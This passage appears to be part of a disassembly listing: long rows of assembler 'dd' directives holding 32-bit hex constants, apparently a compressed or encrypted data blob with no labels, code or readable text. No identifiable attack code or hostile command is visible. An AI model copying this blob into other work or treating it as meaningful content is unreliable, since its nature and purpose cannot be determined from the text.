0CC80B039h, 74575377h dd 1FE45F1Dh, 0C0996C8Fh, 917D4250h, 6DF600D3h, 0A2F2BAA1h dd 46009293h, 3F1E3845h, 0FBA4ACh, 8DF95635h, 0DA81641Ah dd 0EB005E7Fh, 0E68FC312h, 399F7Ch, 0D572800Fh, 0C04FB086h dd 8EA74C00h, 287B3653h, 7A330385h, 22733F6Ch, 0DB9BC0B4h dd 0E5075B2Ch, 58430E11h, 0C72DD3B0h, 491C0F4Bh, 0C920D5C2h dd 0EA2F24A5h, 0B701F107h, 42805955h, 5029F225h, 7C0ADA31h dd 0C1FA65h, 8F7C676Fh, 0BBDFF4DAh, 0A34C8600h, 8302BE1h dd 0D739007Bh, 0ACAFF348h, 8E00E726h, 0B7EDFAEFh, 59F5EF8h dd 0BC6064A4h, 881D58h, 43937B3Bh, 2200FEBAh, 57EC05CFh dd 75FD4Ah, 1F6BB6DCh, 0EBC943FAh, 0BC0055E6h, 6F4B4D81h dd 0A73E91h, 68CDD92Eh, 36AF1961h, 7700D7EEh, 0B1A95AEBh dd 0C8C176h, 8756855h, 7A17940Fh, 331F5C00h, 26586088h dd 0E5EF0032h, 780A3B02h, 28F2DE45h, 0C800B1ECh, 21D43F64h dd 52D351h, 4BE433BFh, 0BBEB16F5h, 7E1533Dh, 0E613B830h dd 0F80FE280h, 98BC0002h, 7B739FBDh, 0C8078D88h, 0AC4C0EC5h dd 4B580AC0h, 0C97153h, 1A92DF09h, 305B10A4h, 0B9FAD67Bh dd 70654858h, 54C34100h, 520FE672h, 38000CDh, 0A0DE26D8h dd 0E307676Ch, 654E10A6h, 0F9EC20B3h, 0A8CF3449h, 91507Dh dd 0E2B140F4h, 0D6D13BE4h, 159A4D00h, 3302830Dh, 0C00C0428h dd 0C0A35591h, 4CFDFFB4h, 2F0051F8h, 0BBA1EC45h, 0B041E4h dd 2B12C39Bh, 0BE6F9CA7h, 0B3EB2909h, 82048F13h, 4079CB7Fh dd 0AA2EE0h, 0BA293E21h, 56DFF1ECh, 0FDD1DA00h, 0A97B6A63h dd 0D610001Fh, 2441A11Ch, 0CD00A4AEh, 834ED959h, 79113BF7h dd 7A6D02DFh, 3317B162h, 0DD5ADAC0h, 1083B500h, 0BF9A199h dd 64950076h, 0E5AE97CCh, 7100FF46h, 1449B1EBh, 4139DAh dd 0AA666540h, 5F5DA6A4h, 804CAC3Dh, 0CD8CBB6Eh, 5073F7Ch dd 835A0143h, 4B4C808Bh, 0E7003458h, 23A3C31Bh, 279C05h dd 0F06E8CF3h, 8A494E55h, 565A9A01h, 7E3FD65Dh, 3761F4h dd 4545BB2h, 9AF58FE0h, 0DC3EEA00h, 8884CF56h, 99B5188Bh dd 0C8B07E95h, 0F734E000h, 6A628C27h, 0FE09A1Dh, 855E4F35h dd 0FF89412Bh, 5B923780h, 5700791Fh, 67A8D0C8h, 73A66CF9h dd 950C01E6h, 0C9CA0D24h, 0D8BB16h, 65985380h, 0CC3651h dd 7F70A432h, 0E6335A94h, 0B8ECF003h, 0A0C980E5h, 5AFD9B5h dd 0F17EF314h, 7DBC1471h, 0CEEBFC00h, 0B0176FA8h, 0CC421900h dd 603739DCh, 0BB781DAAh, 0DD8C805Eh, 9D2EE743h, 17592B24h dd 9991BF00h, 0DB7F3h, 973C643Fh, 141DBA02h, 0ABE57F1Fh dd 8D903580h, 4E3605h, 11DCC70Ah, 0BA722056h, 0AAA85Ch dd 0DE545FF8h, 0E6196Ah, 3EC54B24h, 0D1168EE1h, 0C4A00578h dd 9B007521h, 0BFBBBD93h, 8ED976h, 0C92C1CC5h, 0FCF94F89h dd 31AD0200h, 27DAC0E6h, 4D960E95h, 0FEC0A20Fh, 0CA9ED73Ch dd 4021CF00h, 0B87F42B9h, 6817606Dh, 65B12D3Eh, 0C90C3501h dd 0BC3309DFh, 3A0E4422h, 8A006859h, 3740AF75h, 52DA40C1h dd 0E1E4D7D5h, 0BB3101C2h, 0C6834AF2h, 9790C4E2h, 0E7DD4F00h dd 0F94E9A6Bh, 0EC060457h, 0C0C45992h, 91FD169Eh, 48ABF038h dd 7B800ECh, 0D7521E40h, 6EE8DDh, 8DE11154h, 0B8F6A110h dd 204C9C00h, 0CDB4D037h, 3FA00019h, 0DADEADD2h, 3D05B5C4h dd 253BF540h, 0CB32D280h, 563C0038h, 4EEB7967h, 690E47E5h dd 6EFAD75Ah, 293FA08Fh, 1DCC49E9h, 800C13F2h, 3394A96Fh dd 0EB00A1DEh, 0F8BB9E28h, 237897h, 62D0C3BFh, 0C1F9134h dd 0D2408500h, 19B2157Dh dd 0CF730E47h, 7A069F0h, 4B71B5A7h, 0E04DA518h, 1653EE92h dd 0F0A2F380h, 4C07383Eh, 0EBF22E85h, 0F9592901h, 42E8E02Fh dd 0CA0158E8h, 7D1BB335h, 7F20E020h, 0DEC1006Fh, 0A45444C4h dd 5007A267h, 3268F7D7h, 7BC76940h, 0A14700A8h, 0AA094306h dd 9B057A0Bh, 54AB8F98h, 0BEDB9480h, 1FC50A2Eh, 91F469h dd 92741B4Bh, 2A2890BDh, 2F1ED3EBh, 8401FD1Ah, 0C8342CF8h dd 0B68E30h, 97835C7h, 0EF74F58h, 0F9F87A00h, 518A8D93h dd 53FE008Ch, 0C4801D69h, 65F9772h, 5D4757C0h, 567C005Bh dd 0CD90C54Ah, 0EF003F73h, 74C1125Ch, 1F36CC77h, 6AF965h dd 0A5F5CE9Eh, 0C4F099F8h, 95B0D58h, 0EA0AC0h, 572439C0h dd 0CBFA00D5h, 1CB7B60Eh, 850070A7h, 30117AFBh, 0F78B9D31h dd 0C6A030h, 78D18474h, 6C417395h, 34E8B803h, 0A03F3025h dd 2AE339h, 2892C62Bh, 0CFAEE456h, 360E482Eh, 26E8D000h dd 0BCB81Fh, 9CE1D3DFh, 201B81B4h, 0F1001AFEh, 0F5564EA8h dd 7B0DE60h, 288EF40h, 9F80EEFAh, 0BEEE5AB9h, 0EC004AFEh dd 5DEB4F23h, 0ADC3A2h, 2895D246h, 3A512C25h, 0D70DCA01h dd 3777C218h, 616C0h, 364EA1E7h, 0ADC41563h, 6DCFAC00h dd 9D4CF9D2h, 5FE300D9h, 0FBBF62CBh, 6A7EA1C1h, 89F61F3Ch dd 5634C7h, 79C6F1A1h, 0FE7B97h, 86669FDCh, 8E01CF67h dd 4FFC2B01h, 0C5169C3Ch, 75C2ECh, 8CA6DF4Ah, 0D48DD824h dd 25B87A00h, 3208C89Dh, 70BB0F7h, 8CC1E32Dh, 0D8C20021h dd 7007D06Fh, 79055EECh, 0BCF02BB0h, 97DF0025h, 158EE5E4h dd 7200168Bh, 0A66FD664h, 4E6A31h, 7B071D9Dh, 16EB0AE1h dd 4213DB00h, 0D2C2C3D4h, 3ADC00E9h, 0C60FC951h, 0A800FC87h dd 6E7D2624h, 0ABC41Bh, 0D3300899h, 0F54249FFh, 0B216B904h dd 0B0805D81h, 4C0AA770h, 5B015B39h, 5E8C4A5Ch, 0E036DDC2h dd 71019BD8h, 5033D6A1h, 83F49339h, 0F86700AAh, 0D142F490h dd 0F730176Ah, 0E589C826h, 14779BBh, 2953233Fh, 0C412A2CDh dd 0C600FC9Ah, 0ACF42165h, 3C8EEFFEh, 1980F10Ah, 4AB38DD6h dd 0BD98D9A0h, 1330139h, 25A3C9E9h, 0EED85264h, 0F59103C5h dd 0E3A05EFAh, 3C56DC3h, 0EF03F1F0h, 9CA2813Eh, 58C095B7h dd 62C9BAD1h, 364B5C8Ch, 0D0A1BE00h, 721B0D2h, 6F00AF70h dd 0E4602EFFh, 0F0E52575h, 0C0797B57h, 3B82FD10h, 0D001F368h dd 2607F2C8h, 0FB379Bh, 0C9D34B61h, 73BC5DA8h, 0C603ABFCh dd 0A667D09Fh, 0EF39B845h, 6B180024h, 7BE1CB3Ch, 99ECF73Bh dd 4D40BD60h, 1C1D05Fh, 0D897DE81h, 0F429A30Ch, 3D00301Fh dd 0F176FCAEh, 0D08FC2h, 4E0A0D8Eh, 0D95C376Eh, 92CC9607h dd 0FEC2B9C6h, 0F1C2C02Fh, 12760015h, 44ADBB63h, 980097A8h dd 22304C4Ah, 7233B6h, 2A9548Dh, 5A64BDB1h, 0E4FB53F6h dd 97032ABFh, 0FD32C639h, 0C222E04Dh, 18A0F4D0h, 0B08D5980h dd 693E886Dh, 90B480A1h, 0F6A8DE72h, 8DBCA0D5h, 20100196h dd 79F4C089h, 862D434h, 66EC6F00h, 4B4AB82Bh, 18A80001h dd 388A73F3h, 0D83077E6h, 0F5D11949h, 0AC80E1Eh, 0C0C06CFEh dd 0CE3A789h, 2395EF01h, 0C3F355EEh, 7B9830h, 0C253E18Ah dd 83418728h, 0EBD45800h, 4E3D1BC7h, 0C50A0095h, 2D38AE94h dd 5200FCC2h, 1C0365B8h, 5F02E77h, 0EA86D985h, 964FC016h dd 27F8D39Dh, 0CC4ADB07h, 7C7031E4h, 3078771Dh, 53B8C843h dd 5700385Bh, 0F4061F60h, 7C8942FAh, 5D720C1Eh, 12C818C2h dd 810F6401h, 83DFA5A9h, 365CECh, 9EBDECF4h, 7855B4CCh dd 81A6901Ch, 4AA03200h, 0F86A2C2h, 7565492Fh, 0EA20B5AEh dd 0B1F289A8h, 25B49900h, 5DF8DBC3h, 2F160A17h, 0FB8EAC1h dd 4B27436Dh, 0B672913Fh, 4C93C81Fh, 5F83CD01h, 30491091h dd 540F4h, 82CBBE3Eh, 87637181h, 31BF4C30h, 8A9AF6h, 4E7D7A54h dd 0F34D6985h, 0FCDCC100h, 0E58E7217h, 5B810083h, 5ECB38DDh dd 4E001A97h, 662915D4h, 0E4F22102h, 4C2A7431h, 162B5E81h dd 3F5F801Ch, 90F071C3h, 9B454E00h, 0D1818777h, 41F21420h dd 0FDB138C5h, 0ABA6F48Fh, 262E2AEEh, 0C11E0A65h, 166BEC2h dd 3896A0h, 0C6CEFCD5h, 58A10A8h, 4F545FF4h, 0B9112510h dd 0E50094E8h, 41CEC6E3h, 6653BB81h, 4FF1C748h, 1EA9E9A3h dd 14DEC538h, 49F018F3h, 1C00895Eh, 0A58A13CAh, 15CFEB26h dd 60B1AC21h, 1939E0A0h, 38C0D271h, 2EE2EB85h, 0C710A082h dd 196218FFh, 5A6588B0h, 0DC66922Bh, 44D81160h, 4589C3EDh dd 303496E9h, 0DC6C3855h, 322A0C2Bh, 2568868Fh, 0A1C0D450h dd 0A8064D2Bh, 7A39D01h, 6085A737h, 78BEB305h, 2808D6A4h dd 3FBECAEEh, 0E088D72Bh, 5AD32A46h, 39BC8754h, 0E1668E07h dd 21408862h, 0A7F344CFh, 0C9C8264h, 0A52092A7h, 1594081Ch dd 0E04DA00Fh, 18B0DBE3h, 8581E19Dh, 54F3FA94h, 53D807F3h dd 30C0FFCDh, 98EA9965h, 90D7D8Ch, 4FCA61CEh, 2F05B03Ch dd 0C8BF6052h, 6764D440h, 5C010C98h, 501D4AE0h, 7D6104EFh dd 62481E3h, 80BC2720h, 0F9B8EBB6h, 2550C7CEh, 0A004290Ch dd 0A9BC8807h, 0AB8BA300h, 0FD9B6F96h, 0DCC4004Eh, 88FA144Dh dd 77008590h, 24941C17h, 0C76901BDh, 816ECF08h, 0F0D0B11Dh dd 2302407Dh, 53C91B73h, 0DE28B8A2h, 0E2300BF1h, 0E080847Ah dd 0FB5D8D83h, 52074003h, 322C1DBh, 0FFD52350h, 800303Ah dd 1EE36CDAh, 95A718h, 9E573D24h, 454D1AFBh, 2FCA10C3h dd 0D33BC1FFh, 0DB88AC07h, 0C06C7C52h, 52F7B132h, 97900704h dd 716A45D7h, 0EC1608BBh, 0AE0D5CFBh, 0E89B1B5Dh, 0F8BCBA21h dd 0A881B5B3h, 62FD0800h, 0D03821CAh, 5DB8C6CBh, 1A380812h dd 46DA0CFBh, 0C05FB8E2h, 21CBFC09h, 0FE7CA698h, 0F968D81Fh dd 4989303Ch, 18FF2D5Ah, 40C445BAh, 0ECE1F3B7h, 0B0A12833h dd 0FD908692h, 50084F22h, 28DA8432h, 3CC86F30h, 7A009C4Bh dd 7B527FE7h, 9BE845E0h, 0EF4B63Eh, 83EB543Ah, 0C0EADF9Ah dd 0C69DD7BAh, 189B1D40h, 763A3140h, 0EFFD8011h, 0CCF02D80h dd 5A20A708h, 0D7D11441h, 0EE6003E2h, 3CFAE1h, 0CC8161DAh dd 41591F48h, 0E5F509C4h, 7332D803h, 1447D9F2h, 567E9281h dd 0F7006814h, 52140343h, 7D0115Bh, 5DB1BA9Bh, 0C407A485h dd 0FF31189Dh, 0F84F645Ah, 3122D80Fh, 97644792h, 2AF80A2Eh dd 1CFB033Ch, 3B9B5AE9h, 1371119h, 65212E70h, 0C86DE0E0h dd 9B1E8230h, 0EB7B80F0h, 0F6549028h, 486490A5h, 0DD094034h dd 5C00DF39h, 0D821F6F0h, 50318224h, 0DB408C2Bh, 60569D15h dd 0EDB7A08Fh, 10A874F3h, 0C8222827h, 4C5715B9h, 3DA028D5h dd 0F8498582h, 161571B4h, 0B0B853B8h, 241B332Ah, 94F40232h dd 7B0980A0h, 48023991h, 0B48427A2h, 0F8548046h, 8C9CBE8h dd 5D0082C0h, 1DC44029h, 3D10C3C6h, 301C69E5h, 9A09F9B9h dd 0FD500777h, 0FA2402B9h, 7A0840FEh, 1081636Eh, 9AD8BFA9h dd 0C9337A1h, 63A946C0h, 883D3E15h, 0A870379Eh, 0B1E96ACCh dd 685B922Ch, 0DE0AB204h, 8C6932CCh, 0BA8ED705h, 0A8191023h dd 98EE9E16h, 0BDF7020Ch, 32381DD6h, 12A4EC8Eh, 1D70DE0Dh dd 181EB1BFh, 0E3813464h, 81381EC5h, 50622834h, 4D6E903Ch dd 0C1E45036h, 0DF7FE6F3h, 4DB7A812h, 8C9AEC0Ah, 186808D0h dd 0B81CF083h, 4C48AD57h, 367F154Ch, 0D3D1E088h, 3BE22821h dd 77714A8h, 0C526F859h, 0F9FA0418h, 0C9B4C0F7h, 0A37456FEh dd 0B3233B00h dd 0F478E31Bh, 0EA3DEE1Ch, 4A2100B7h, 0A663413Fh, 220077CFh dd 1C5CF3CDh, 0C932AEh, 0BA93CA33h, 0F7B2AF36h, 948028A5h dd 5C8D2709h, 1F4A0025h, 0B2B44F2Eh, 0F3F8A031h, 57049A15h dd 87A5C01Ch, 805B5452h, 0E57F95FFh, 8E59320Eh, 0E038B427h dd 6099CE62h, 9BDFC17Fh, 7275AE91h, 0B2CB600Fh, 73272294h dd 3C9682h, 53A5C5A6h, 0BF4A1F27h, 0F02B2A32h, 783896E7h dd 60027C6Fh, 179F3028h, 73000981h, 0F2CB4C27h, 30B3D887h dd 12C09972h, 55F238CEh, 6F9D903h, 0A3FA4053h, 0BC9F9A93h dd 82FA0688h, 0D8B9F1BDh, 70417F07h, 5060B309h, 12592CBh dd 0B590D1A5h, 0FC30D2EDh, 0F500D884h, 0F2B4534Fh, 3425BEA9h dd 6CD00813h, 6A08FDD8h, 1D520BD8h, 0A02A945Fh, 91819846h dd 5730973Fh, 385460D4h, 8A2472AFh, 0CE000C32h, 2DD0D255h dd 10D5194Bh, 5A33E8C9h, 24020EA8h, 29450935h, 0B4778018h dd 505373D2h, 127BFC0Ah, 7C2810D1h, 831F6620h, 0A2D3F8h dd 52AE1081h, 70D2560Ah, 84A0BDFCh, 98780393h, 96545103h dd 0C71D5310h, 95DE8240h, 72570550h, 3D3F2B3h, 7E2D15DCh dd 0C5710810h, 0D24F5201h, 0F1852090h, 424ED5B5h, 0E9600BC0h dd 0C365CEB0h, 8045DB28h, 0C80C69A3h, 48580978h, 7A1F08E8h dd 98320A62h, 0D51200A0h, 9AB30CBCh, 0F00F4D76h, 85B454D1h dd 0C80024A9h, 32AF5D8Ah, 0B4475052h, 3EC49239h, 0F2095A80h dd 9403944Bh, 0D2E05CA5h, 609CB34h, 3D62033h, 12836A3Ch dd 1EA8D8h, 7151370h, 1274EA33h, 57DAD34Ch, 6DBC80B4h dd 40658CB0h, 50501C22h, 4D67ECFCh, 0D25034A8h, 907CE6F0h dd 4BBF054Ch, 352B2B6h, 44A9D0C0h, 4C86D818h, 0EAE018h dd 0C7291095h, 0B0851306h, 50288C90h, 1F61A067h, 4C645508h dd 672C35E0h, 0C49D0FAh, 6B075BB8h, 85BD730Ah, 0C81AB143h dd 0C01B3102h, 3E239108h, 0B6037187h, 92F10AA3h, 0D851C050h dd 0F66700B9h, 0D6574FA9h, 36E84ED4h, 3E162840h, 963C559Ah dd 176780FCh, 73F9BD00h, 90C88A86h, 79C30061h, 0B7859556h dd 1F0E3BA1h, 7F7331DEh, 62AEDB01h, 68BAA7FAh, 0BD16F60Eh dd 2885D6C5h, 0D6903320h, 781F8400h, 4AF659DEh, 773900C3h dd 0D51A987Dh, 5A035EA4h, 3A64AA40h, 79901193h, 0B7551772h dd 4C652C07h, 1C802CCAh, 0EBB6647Dh, 39DE0177h, 0D7510762h dd 2190BCC4h, 94B4E0B0h, 38606C07h, 0E9DD19D0h, 56DA0367h dd 86BA6362h, 475A479Fh, 0C980CEEAh, 0E71A6B45h, 3A6F9E06h dd 0E0B888B5h, 9CAF3Ch, 7BE8ECEAh, 0DF1F4F1Eh, 9303BAF9h dd 0A2BC095Ah, 0C50115DAh, 5132CB62h, 0FDD94080h, 4EFA6A1Ah dd 79C2FE00h, 0B9C7C087h, 5F060D34h, 1450D49Ah, 5428289Ch dd 15DF4711h, 8388B900h, 0A8368E48h, 9BFA980Ah, 3015E8EBh dd 4333B024h, 5D120B1h, 0B8E8992Bh, 3C06DE0h, 4E291FBCh dd 300415DFh, 0CC4AF1B0h, 4154220h, 628C6859h, 24B8683Ah dd 311B651Eh, 4263960h, 0C2BCC6Ch, 0D27D93C4h, 9E001930h dd 2EB9BC01h, 32BA67F0h, 0F770968Fh, 0D81A0840h, 0C1F96874h dd 641420DEh, 59C79B07h, 0F9419A21h, 39E0ABC4h, 0E842578Fh dd 0B1236080h, 0F9800688h, 0B9A40009h, 47FF5099h, 68C07F6Eh dd 626DB5FAh, 78DB7B9Ah, 0F5CC005Ah, 0D406D9C1h, 6C1F99C8h dd 0AD5268BEh, 893A0802h, 58E080A2h, 6F9C310h, 19C8DC90h dd 0B91D10C1h, 79831833h, 265A40Bh, 9A647B38h, 0C4BC4281h dd 3C12EAF2h, 0B002F476h, 0BC4346D9h, 0D8D904F4h, 83169D8Bh dd 97A0B9F4h, 199059B6h, 0C8FA692Bh, 273D0840h, 9939CF01h dd 6C007629h, 39C8559Eh, 0BC743A70h, 0DAA020F3h, 4500F871h dd 94E45D6Eh, 14C3EBFAh, 98FD1A8Eh, 0EFB77A0Ah, 0AFAD07E4h dd 0E021C35Eh, 5CECF026h, 0EC59438Ah, 68C3B700h, 1B4ABA0h dd 0D1083FA9h, 0DC629FAEh, 163D600Bh, 57C007DBh, 0D50B0D9Ch dd 0E880D281h, 0EC60F1C3h, 2F007AEh, 91D5FA00h, 0C00DCCBCh dd 0D1293E82h, 792EFF01h, 0E7E3319Ch, 0AE1FCEE0h, 189EBF29h dd 0ED91CD67h, 0A00033E3h, 754E092h, 23FE610h, 0E7860EF2h dd 9DA70630h, 0B0CE0640h, 599F4007h, 6D610F0Eh, 30BDC02Bh dd 68EBECh, 76AA54F6h, 0B4F4B89h, 0CDCB6D07h, 55F0675Ah dd 0ACFD358Eh, 2C7A001Ch, 93B97E4Ah, 6340AB89h, 4554238Bh dd 604F78C0h, 98940EC5h, 3F018B89h, 4B2F6B67h, 0C1890318h dd 0A8A0C9h, 5D5F0411h, 907A4D7Bh, 0A41CDCB8h, 0D6FC8B0Eh dd 1AA48024h, 18941EBh, 496B9065h, 0FB4B0E98h, 0F2AB8010h dd 0B7E1AAF0h, 388A4931h, 8B014A4Bh, 743C0416h, 3BB80C9Bh dd 0ABA8FCB6h, 0F3A1A401h, 0ED0D75F7h, 0A8B4C5D0h, 87F12B24h dd 0EE2EAB81h, 8B002F37h, 0F307B638h, 0F20A5897h, 0B444DB42h dd 0B49A067Ch, 404C677Bh, 0AF02EB70h, 5786CB0Eh, 587CA013h dd 614B0FAAh, 23281156h, 2B4F0C12h, 60946C0Dh, 0EE5B3E1Eh dd 15CB7A40h, 900DB4E7h, 2AE8C4C0h, 0A90099FFh, 0F271417Ah dd 0F820D57Dh, 0CE803A52h, 9CD00E01h, 48A3F0BAh, 3F094118h dd 0B23275h, 8416C8F7h, 0D02829CEh, 43DD6718h, 6108D296h dd 20B61928h, 3760610h, 11575D60h, 0F1A34506h, 1460D8DBh dd 4881C0E8h, 7CEF4205h, 0A607C010h, 9A035A28h, 80AF4CDAh dd 271100A7h, 14D5E936h, 1F00E369h, 9D6185FFh, 1C2B5D48h dd 3A236C7Dh, 790C2E0Fh, 7DA8B00h, 0EE5292DDh, 0AC348030h dd 0D70738h, 0E07FE283h, 0B71D790Ah, 24E8DE7Bh, 801CEF52h dd 75615F66h, 157767Eh, 9BE3417Dh, 0FC80A518h, 0B500FF78h dd 0BCA2882Ch, 3CF884h, 76B9CDFEh, 7746C5FCh, 0F0135D80h dd 53382C9Bh, 0BCB80A69h, 0D454591Ch, 220E4134h, 48BD662Dh dd 0C70869FAh, 33EB581Ch, 630E3048h, 88659D38h, 8120D89Bh dd 0A5C2138h, 18203C1Ch, 0FD71622Bh, 816B4008h, 70A76E74h dd 406CED81h, 66FCD2CEh, 0F03A0EDDh, 6B8898E4h, 0F0592EF0h dd 3D2440C4h, 0E4C93004h, 0A47C2758h, 0A8C60A0Ah, 1D00A867h dd 78E4D527h, 8070AD1Ch, 0E6ED8C4Eh, 430C293Eh, 70DCE97Dh dd 40CC6646h, 181010EAh, 7843D457h, 0A6BE7081h, 5DB984DFh dd 4C0DDD77h, 4780F38h, 0C64D1443h, 61E1BD47h, 8AEFD8E4h dd 7C6E5709h, 15F2BED0h, 0EC3B0C23h, 1838C47Dh, 0F07C108Dh dd 144E27EDh, 0ECE447CAh, 0B07A483Fh, 9DEC8F12h, 6557827Ah dd 5500E45Fh, 1D58EE9Eh, 1299392Fh, 0B82C0251h, 0F4BC6FECh dd 0CEB36A05h, 0BC0605F5h, 249913Dh, 38ED1266h, 7CB46FCAh dd 0DD984206h, 2885895h, 0EDFF7D1Dh, 7CB65618h, 36640B05h dd 9803281Eh, 23EDAA7Dh, 35E082F8h, 546C907Eh, 1ABF0E4h dd 813FBBEDh, 0FCBC417Bh, 2EEF83A1h, 227B0h, 0C49A5FB4h dd 0FD8F6A20h, 0F89CE704h, 80BBA9F9h, 46E5C2D0h, 1BC80205h dd 1C60F381h, 205BDBE1h, 0D910AC37h, 811DF53Ah, 0C7820CF6h dd 905C210h, 2342793Bh, 36242Ch, 9EBB0DFDh, 0E539F887h dd 8E38F76Eh, 0B4A28643h, 0C9822140h, 74A372E0h, 19C1C0F2h dd 27B942Ah, 43C2EE40h, 3756C235h, 1EFDE350h, 0C5FF7938h dd 6CA3C27Bh, 0EB08857Ch, 0FA2C576h, 7BE3A059h, 384334E2h dd 0FBD1C074h, 0C2C08473h, 41E2B938h, 98065105h, 8740CDA2h dd 62BC8174h, 7399699h, 90422655h, 9E793A68h, 8C730C74h dd 0F939E3ACh, 22909350h, 82B2333h, 0C3F4F32Fh, 0A2CBA8B6h dd 0FE480761h, 81C55AE2h dd 1E0F502h, 0C2E0802Ah, 1F817C03h, 884922h, 12A93F42h dd 0D2070535h, 0C46B43D5h, 88618023h, 82A4BBh, 0E2E6883Dh dd 0ED62CB24h, 63A62F40h, 898A70CAh, 241E6029h, 96774A60h dd 0C68140B4h, 6E42E840h, 9B8E98B0h, 4F0B08F8h, 562F501h dd 73E3D72Dh, 0B4E2C08Ch, 0FD3E8220h, 38C314BFh, 0E6DBB034h dd 20F64Ah, 4FA68822h, 54C2D9A1h, 1482E8C4h, 0E018A73Ch dd 86390B1Ah, 0C0F2019Ah, 0D7BEBA02h, 2905A43h, 2F36A1A3h dd 1866006Ah, 421DFE97h, 821C965Ah, 3FE23220h, 90B40348h dd 108C363Ch, 46319BF4h, 8C416249h, 0C09EA2F8h, 17CA7C2h dd 89EA3DE3h, 26408683h, 5688E292h, 8CC17C5Ch, 50B1AB9Ch dd 680806F0h, 4503FF77h, 4942F4F8h, 0FD483048h, 97786288h dd 0CC6818CAh, 92FF1E3Eh, 6C868203h, 8FABA2F5h, 0F80A8CE0h dd 2E333302h, 312A71C0h, 7B1F8806h, 950CF54Eh, 0EBB65899h dd 8918208Ch, 8C62F1E8h, 41B15210h, 3CF2AF54h, 7884102h dd 6222F42h, 0C234C8CCh, 0E40DB071h, 0FDDD08F9h, 0E2D2E1E3h dd 0DEB462F0h, 907E1818h, 0C8DF0B22h, 1F6D8A0Fh, 82082718h dd 280A097h, 8E166E0h, 4230C8A0h, 7B2208AFh, 2418CC29h dd 7132E228h, 821CD894h, 0A2D2A288h, 415142A0h, 0F88D8628h dd 0D3709C02h, 2219E0FEh, 0B618B7ABh, 880818C7h, 6B38A865h dd 1849A2E8h, 0B001F324h, 1D21237Fh, 0B5753D6h, 21001D4Bh dd 6D7B1E8Eh, 0FA5A39h, 89C56984h, 320EDDh, 0F83547B0h dd 6FB29CEFh, 7E956D00h, 2179CC8Dh, 9D100756h, 70B05836h dd 0C7F03402h, 5EFF1115h, 9D9E8020h, 8086753Ah, 0F31FA0ECh dd 9305056h, 374525D9h, 44487B70h, 0F6373CC6h, 577220A8h dd 17338C1Dh, 0A6527080h, 0A5E33058h, 0C13C801Ch, 7FA4A577h dd 70AC8D0Ch, 29DEC01Fh, 0E05C58A9h, 2C97774Bh, 64C5D40h dd 0D057192Ah, 0B053383Ah, 6F698038h, 0C4F3D3DAh, 0FAB6C38h dd 7003CA70h, 1025D5D0h, 56DAABh, 329CBD0Ch, 0C2897330h dd 3404A408h, 0B80C749Eh, 7930634Ah, 0E860202Ch, 740F5E41h dd 6102130Fh, 690A6AAh, 209EE4CCh, 59746501h, 5ACBF030h dd 0F848BFE0h, 0EDA31D50h, 0E92F0E57h, 605F9086h, 668B888Dh dd 0D9820CD0h, 0A08031ECh, 5E048448h, 0BF570688h, 0D1DC96h dd 329F488Ch, 4531ACD0h, 0A9DD9015h, 6F25E0FCh, 0EC6A01F3h dd 4ACDA78h, 0B078809Bh, 0DDD056F4h, 1F5A74CFh, 558B3D4h dd 6D325E3Ah, 0F9BFC494h, 79665C03h, 0A0254CDAh, 6C9B045h dd 18D0336Eh, 0E528D03Dh, 153A8C7Fh, 0C3100C81h, 7C2D2830h dd 61BE8E6h, 7C7032A1h, 3E72D09Ah, 7EF05A0Eh, 400F9FD1h dd 8D5002CEh, 0EEDCBC04h, 7DA21950h, 0F46CE030h, 701D3371h dd 0BD3B84ECh, 4E0867A9h, 0FA1082AFh, 1D0056Fh, 0F2D9F0F0h dd 440CD156h, 12A46CB6h, 9B03CC11h, 0F0D20C18h, 6B649C50h dd 0D0044508h, 74F002E0h, 66E056Fh, 70C1B0F4h, 6825D034h dd 0A6AF86Ch, 53E68B02h, 32C08B0h, 0DCCE300Ah, 24DF009h dd 8E1E9000h, 456849Ch, 4E063C9Eh, 51E945A9h, 3070CC20h dd 10485BD0h, 5A4294EEh, 91C1B446h, 10CD62CAh, 1D659DECh dd 64A89033h, 0A0E715CCh, 0F43CD3F0h, 8C41DE61h, 70923EA0h dd 0AB807C80h, 3920D26Ch, 3A413CACh, 7C8D9015h, 2CA013B3h dd 5C9AFC01h, 0C1707556h, 0D2ED245Fh, 48746C10h, 4D50B53Ah dd 0E5FEF038h, 6C1A2029h, 0B5460CA0h, 6C6B302Bh, 1AC11960h dd 0B22C8817h, 0F0467D09h, 10180712h, 0C882D314h, 0F8A448C1h dd 0C608C519h, 54B40618h, 0E21D2827h, 0DB0E4544h, 0D2B8922Bh dd 62FDF040h, 2E8A102Fh, 0E38D2040h, 97486498h, 150378F8h dd 7CB0561Ch, 2F90A006h, 0C010C41Bh, 0CA0CC38Dh, 805C0851h dd 3EF15008h, 7438305Bh, 0D270183Ah, 0E5D7A036h, 4FF0570Eh dd 530B9FECh, 0A80C01C2h, 0D05B3260h, 1D729505h, 0CC80400Ah dd 0B046E655h, 87EFA37h, 70838167h, 50C1F495h, 10303901h dd 505F4D54h, 487A8BE0h, 54375824h, 0ACE9188Ah, 4F47709h dd 0C891A498h, 0E898F317h, 0DF100851h, 435094A0h, 0F0385498h dd 1644BE78h, 7804D96Ah, 74814E6Fh, 36D25E05h, 207B7A75h dd 0C4FCD944h, 9F8E10D0h, 2C9E0108h, 81EA751Ah, 0A4CAD061h dd 749F5F88h, 838EBA02h, 59239518h, 370247Bh, 609423C8h dd 0CE813F25h, 28D0F259h, 0F02CB837h, 0FD44B8B6h, 241A2C83h dd 0F88448F9h, 7D1180F6h, 82188E0Ch, 9B6820F5h, 804940CAh dd 3A79FEF8h, 0DC592AC5h, 50405A31h, 0D0088AB5h, 0E0FB844Eh dd 401DF6E0h, 0A760CCF3h, 9C403038h, 0ADB0E3Dh, 3F203BAAh dd 25A9F0B7h, 0FB3FB47Ch, 7BF72CBFh, 0C7E05600h, 182247Eh dd 3D9A2B37h, 0D046BF1Bh, 9B63DEBBh, 0E0450E08h, 0A1C7893Bh dd 58BA0BB6h, 6E31B21h, 18A48093h, 0D7821827h, 51BB9048h dd 0BA984766h, 80EAE858h, 1A3A115Bh, 981F0F56h, 0C85EC659h dd 5B33308h, 814A478h, 0B0383EBBh, 3E047919h, 82BC5CCDh dd 9B681CB1h, 2843EFCFh, 0C0708354h, 11FEA24h, 9A484C97h dd 36382198h, 31FF739Ch, 0B739D481h, 1ED9853Fh, 8C6C5895h dd 70AE19B1h, 0A057391Fh, 6A006CA0h, 0A7FAEABCh, 121700Eh dd 2F834D6Dh, 0DCD03863h, 0A0F08A18h, 674ECD00h, 0D40EA1F0h dd 11CA5FDh, 9A8E156Ch, 0CE118077h, 